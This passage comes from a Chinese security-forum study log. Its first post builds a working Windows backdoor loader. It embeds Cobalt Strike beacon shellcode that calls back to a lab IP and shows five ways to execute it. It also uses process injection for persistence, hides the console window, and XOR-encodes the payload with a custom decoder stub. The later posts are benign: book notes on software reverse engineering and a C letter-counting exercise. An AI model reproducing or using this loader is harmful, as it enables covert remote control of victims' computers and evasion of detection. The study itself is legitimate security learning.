  12. "\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50"
  13. "\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8"
  14. "\x8b\xff\xff\xff\x2f\x4a\x57\x6d\x4e\x00\x66\x5e\x64\x26\x46\x04\x7e\x50\x64\xb6\xa0\x42\xf1\x31\xca\x4a\x6e\x95\x03"
  15. "\x27\x70\x1c\x38\x1c\x30\xb5\x7a\x96\xf3\xcd\xee\x50\x72\xaf\x48\x5e\x09\x83\xbf\xfc\xa9\x59\xf8\x91\x9f\x0c\x15\xf9"
  16. "\xfb\x2e\xd8\x7f\xe0\x5c\x71\x31\x42\xd0\xb4\xdd\xdd\x1a\x09\xb3\x8c\x08\xce\x8a\x04\xcf\xb3\x6e\xe5\x00\x55\x73\x65"
  17. "\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69"
  18. "\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31"
  19. "\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x33\x29\x0d\x0a\x00\x62"
  20. "\x78\x52\x86\x6c\x4d\x9c\x7f\xe1\x91\xd4\x3f\xe2\x4b\x29\x8e\x94\x7d\xb9\xe8\xed\xe0\xbb\x9a\xda\xc5\x27\x89\x96\xe6"
  21. "\x80\xc4\x0d\x25\x4b\x91\x1a\x1e\xbb\xc1\x1b\x3f\x8e\x99\xbb\x85\x1d\x2c\xcf\xb7\x2d\x1d\x4a\x61\x0c\x71\xc7\x64\x8c"
  22. "\x50\xe2\x95\x60\xba\xc2\xf8\xb2\xc5\xe6\xfc\x64\xe4\xfb\x03\x42\xfe\x15\x89\x88\xef\xb8\xec\x6f\x70\x7f\x08\x0a\xed"
  23. "\xd8\x42\x5e\x58\xbd\xb6\x65\xa8\x2e\x89\xfd\xb3\xdd\x2c\xe3\x5b\x1e\x40\xe4\xa6\x83\xda\x9e\xc8\x6b\x31\x82\x31\x81"
  24. "\x20\xc7\x2c\x80\x34\x52\xf5\x0b\x38\xb9\xc5\x40\xdf\x09\x9b\x95\x17\xb5\x5a\x8c\x99\xd6\x64\xc9\xfb\x77\xb7\xca\x16"
  25. "\x5f\x0b\x89\x23\xb5\xbf\x0c\xec\x59\x09\x9c\x1f\x69\xaf\xca\x1d\x60\x4c\x9c\x14\xb9\x1e\x0a\xc7\xb8\x52\xfa\x37\x24"
  26. "\x48\x15\x0c\x8f\x66\xc2\x91\x8e\x10\x21\xa9\x52\x9d\x56\x21\x2f\xe4\x15\x54\x33\x64\xf6\xb4\x68\xa9\x66\x70\x74\xa8"
  27. "\x2b\x4d\x4a\x56\x0d\x09\x93\x51\xa0\x9c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40"
  28. "\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56"
  29. "\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32"
  30. "\x2e\x31\x36\x38\x2e\x30\x2e\x31\x30\x32\x00\x6f\xaa\x51\xc3";
复制代码

(这个payload长度太“”了吧!)
首先在windows xp将五种方式以函数调用方式呈现,然后在shellcode里面填充刚刚的payload:
  1. #include "stdafx.h"
  2. #include"stdio.h"
  3. #include"windows.h"
  4. unsigned char shellcode[] ="";

  5. void Run1()
  6. {
  7.         ((void(*)(void))&shellcode)();
  8. }

  9. void Run2()
  10. {
  11.         _asm{
  12.                 lea eax,shellcode
  13.                 jmp eax
  14.         }
  15. }

  16. void Run3()
  17. {
  18.         __asm{
  19.                 mov eax,offset shellcode
  20.                 jmp eax
  21.         }
  22. }
  23. void Run4()
  24. {
  25.         _asm
  26.         {
  27.                 mov eax,offset shellcode
  28.                 _emit 0xff
  29.                 _emit 0xe0
  30.         }
  31. }

  32. void Run5()
  33. {
  34.         _asm{
  35.                 lea eax,shellcode
  36.                 push eax
  37.                 ret
  38.         }
  39. }
  40. int main(int argc, char* argv[])
  41. {
  42.         Run5();
  43.         return 0;
  44. }
复制代码
其实Run6是之前我们已经运用了一种!
任意执行一种方式,这个时候我们就可以看见CS端就会出现主机上线:

不过由于是在vc++运行,vc++的执行框被停止,CS端就会同样断掉,这样就达不到控制效果:

这个时候我首先想到的是CS应该有个功能:进程注入该功能可以把你的beacon会话注入到另外一个程序之中,注入后,及时你原来的后门进程被关闭,你依然可以手握目标机的权限,试一下效果:


当我关闭vc++运行框后,依然能够保持住后门。
上面只是一个延伸......此外如果我们在前面加上以下几句话:
  1. #pragma comment(linker,"/section:.data,RWE")        //data段可读写
  2. #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //不显示窗口
  3. #pragma comment(linker,"/INCREMENTAL:NO")        //指定非增量编译
复制代码
我目前不明白这些具体到底是什么!但是加上之后有一个明显显示就是:vc++执行窗口不显示,但CS端有主机上线!
这个时候其实我们可以发现cobaltstrike生成的shellcode里面有好多\x00,我们得想办法把它换掉,这个时候就可以使用我们之前学习的shellcode编码之异或法并融合shellcode内存定位!先异或,本来直接异或输出在控制台,奈何这样觉得不太好,应该写入txt文件,所以仿照别人的代码把编码后的shellcode输出到文件txt中:

  1. /* length: 798 bytes */
  2. #include<stdio.h>
  3. #include<stdafx.h>
  4. #include<stdlib.h>
  5. #include<string.h>
  6. #define KEY 0x97
  7. unsigned char ShellCode[] ="......";
  8. int main()
  9. {
  10.         int i;
  11.         int nLen;
  12.         FILE *fp;
  13.         nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
  14.         unsigned char *enShellCode=(unsigned char *)malloc(nLen+4); //编码后的enShellCode; //编码后的enShellCode
  15.         for(i=0; i<nLen; i++)
  16.         {
  17.         enShellCode[i] = ShellCode[i] ^ KEY; //对每一位ShellCode作xor key编码
  18.         //printf("\\x%x",enShellCode[i]);  //打印出效果
  19.         }
  20.         fp=fopen("./enShellcode.txt","w+");
  21.         fprintf(fp,""");
  22.         for(i=0; i<nLen; i++)
  23.         {
  24.         fprintf(fp,"\\x%0.2x",enShellCode[i]);
  25.                 if((i+1)%20==0)
  26.                 {
  27.                         fprintf(fp,""\n"");
  28.                 }
  29.         }
  30.         fprintf(fp,""");
  31.         fclose(fp);
  32.         free(enShellCode);
  33.         return 0;
  34. }
复制代码
注意:异或的时候key不能和shellcode里面的相同!(至于我怎么找出不同的,靠的是“火眼金睛”)
接下来就是把解码子与编码后的shellcode进行拼接:
  1. jmp decode_end //为了获得enShellCode的地址
  2. decode_start:
  3. pop edx // 得到enShellCode的开始位置 esp -> edx
  4. dec edx //如:dec R0就是说R0=R0-1。
  5. xor ecx,ecx
  6. mov cx,0x911 //要解码的 enShellCode长度,可以设置得稍微长一些
  7. decode_loop:
  8. xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  9. loop decode_loop //循环解码
  10. jmp decode_ok //解码完毕后,跳到解码后的地方执行!
  11. decode_end:
  12. call decode_start
  13. decode_ok
复制代码
写出反汇编得到的机器码(我就直接写咯!):"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x11\x09\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
最后拼接并反弹shellcode:








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-25 11:07:56 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-25 20:17 编辑

《加密与解密》之第一章基础知识
本来从217号开始学习的《加密与解密》,但是由于种种原因,还是重新正式从今天开始吧,要求慢中求快。
以下是第一章,都是基础知识,但是我看了就忘得差不多了,特别是那些专业术语,看过了记录了再说(应该是操作方面比较重要,所以这章就不纠结了
1.1.1软件的加密与解密
为了保护自己辛辛苦苦开发的软件, 使其不会轻易被他人借鉴" , 作为软件开发人员, 有必要对软件的加密和解密进行研究。
1.1.2软件逆向工程
对软件来说,可执行程序一反编译一源代码的过程就是逆向工程。
逆向工程的内容可以分为如下3类。
软件使用限制的去除或者软件功能的添加。
软件源代码的再获得。
硬件的复制和模拟。
1.1.3逆向分析技术
静态分析技术和动态分析技术
1.2.1 ASCII与Unicode字符集
1.2.2字节存储顺序
1.3.1 Win32  API函数
1.3.2 WOW64
WOW64 (Windows-on-Windows 64-bit)是一个Windows操作系统的子系统, 它为现有的 32 位应用程序提供了 32 位的模拟,可以使大多数 32 位应用程序在无需修改的情况下运行在 Windows 64 位版本上。
1.3.3 windows消息机制
1.3.4虚拟内存
(那么,这章就这样吧!)



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-25 19:59:30 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-25 20:05 编辑

计算英文文章的各字母个数
这是之前的一次练习,今天看见,想整理到社区,汇编代码后续补上
本来想着在运行框手动输入文章,然而思考了一段时间,这样太麻烦了。于是想起C语言打开本地文件!但是会用到文件流等方面的知识!估计要理解花不少时间!
文件在进行读写操作之前要先打开,使用完毕要关闭。
根据实例,我在本地E盘根目录下新建了一个txt文件,其内容为随意输入的几个字符,然后开始初步实现打开文件!
但是由于我们计算的是字母,而上述程序是一行一行读取,所以,继续:
以字符形式读写文件时,每次可以从文件中读取一个字符,或者向文件中写入一个字符。主要使用两个函数,分别是 fgetc() fputc()
这里为了需求,我们就只了解fgetc()函数。
这个时候我们就可以放进去英文文章《friend》!
(忘记除掉中文!)
接下来主要目的就是应用我最初编写的C语言程序二(只实现计算出每个小写字母的个数),代码如下:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         char a[10000];//一篇英文文章
  5.         char b[26];
  6.         int s[26] = { 0 };//用于存储字符的个数
  7.         printf("input message:\n");
  8.         gets(a);      
  9.         for (int x = 0; x < 26; x++)
  10.         {
  11.                 int c = 0;//记录每个字符个数
  12.                 b[x] = x + 97;//为了让b[0]是a,b[1]是b依次类推
  13.                 for(int i=0;a!='\0';i++)
  14.                 {
  15.                         if (b[x] == a)
  16.                         {
  17.                                 ++c;
  18.                                 s[x] = c;
  19.                         }
  20.                 }
  21.                 if (s[x]>=1)//只输出输入中有的字母 的个数
  22.                 {
  23.                         printf("%c %d\n", b[x], s[x]);
  24.                 }   
  25.         }
  26. }
复制代码
写了半天,还是不行,只能统计出a字母的个数:
经过测试,我怎么感觉是while语句出了问题,但是while语句网上,就是这么写的呀!
噢噢噢噢!突然灵光一闪,瞬间明白,此时计算了a字母的个数同时,已经把文件内容读取完毕,这个时候的ch==EOF,并没有重新从文本开始重新计数。所以,,,,百度搜索怎么把文件指针重新指向文件开头:
使用rewind(fp);
兴高采烈......
运行程序:
成功了!怎么没有z?难道边界错了?
为了检查,在data.txt文件里末尾加三个z,运行发现:这篇文章没有z,意味着这才是成功的最后一步。
回望题目,做了这么久,上述程序只是计算小写字母的计入,大写的字母还得转换成小写字母再一起输出,为了检验程序的正确性!文章简单一点:
接下来,就是把每个单词的首字母改成大写。
似乎有点儿困难,再尝试:
忽略其中各种百度的过程以及调试,反正最后是成功了,并成功新建了一个文件copy.txt
最后的C语言代码为:
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. void main()
  4. {
  5.         FILE *fp;
  6.         FILE *fw;
  7.         char ch;
  8.         char b[26];
  9.         int inword=1;
  10.         int s[26] = { 0 };//用于存储字符的个数
  11.         if( ( fp = fopen("D:\\data.txt", "rt") ) == NULL)
  12.         {
  13.                 printf("Fail to open file:data.txt!");
  14.                 exit(0);
  15.         }
  16.         if( ( fw = fopen("D:\\copy.txt", "wt") ) == NULL)
  17.         {
  18.                 printf("Fail to open file:copy.txt!");
  19.                 exit(0);
  20.         }
  21.         for (int x = 0; x < 26; x++)
  22.         {
  23.                 int c = 0;                                         //记录每个字符个数
  24.                 b[x] = x + 97;                                 //为了让b[0]是a,b[1]是b依次类推......
  25.                 while((ch=fgetc(fp)) != EOF) //每次读取一个字节,直到读取完毕
  26.                 {
  27.                         if(ch>=65 && ch<=90)
  28.                         {
  29.                                 ch=ch+32;
  30.                         }
  31.                         if (b[x] == ch)
  32.                         {
  33.                                 ++c;
  34.                                 s[x] = c;
  35.                         }
  36.                 }
  37.                 if (s[x]>=1)                                //只输出输入中有的字母的个数
  38.                 {
  39.                         printf("%c %d\n", b[x], s[x]);
  40.                 }
  41.                 if(b[x]!='z')
  42.                 {
  43.                         rewind(fp);
  44.                 }
  45.         }
  46.         rewind(fp);   //重新调整指针
  47.         while((ch=fgetc(fp)) != EOF)
  48.         {
  49.                 if (inword==0)
  50.                 {
  51.                         if(ch>='a' && ch<='z' && ch!=' ')
  52.                         {
  53.                                 ch = ch - 32;
  54.                                 inword = 1;
  55.                                 fputc(ch,fw);
  56.                         }
  57.                         else
  58.                         {
  59.                                 inword=1;
  60.                                 fputc(ch,fw);
  61.                         }
  62.                 }
  63.                 else
  64.                 {
  65.                         if (ch == ' ')      
  66.                         {
  67.                                 inword = 0;
  68.                                 fputc(ch,fw);
  69.                         }
  70.                         else
  71.                         {
  72.                                 fputc(ch,fw);
  73.                         }
  74.                 }               
  75.         }
  76.         printf("\n");
  77.         fclose(fp);
  78.         fclose(fw);
  79. }
复制代码
现在才开始进入汇编!(这么点知识,弄了一天,现在已经晚上九点半了)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:51 , Processed in 0.019599 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表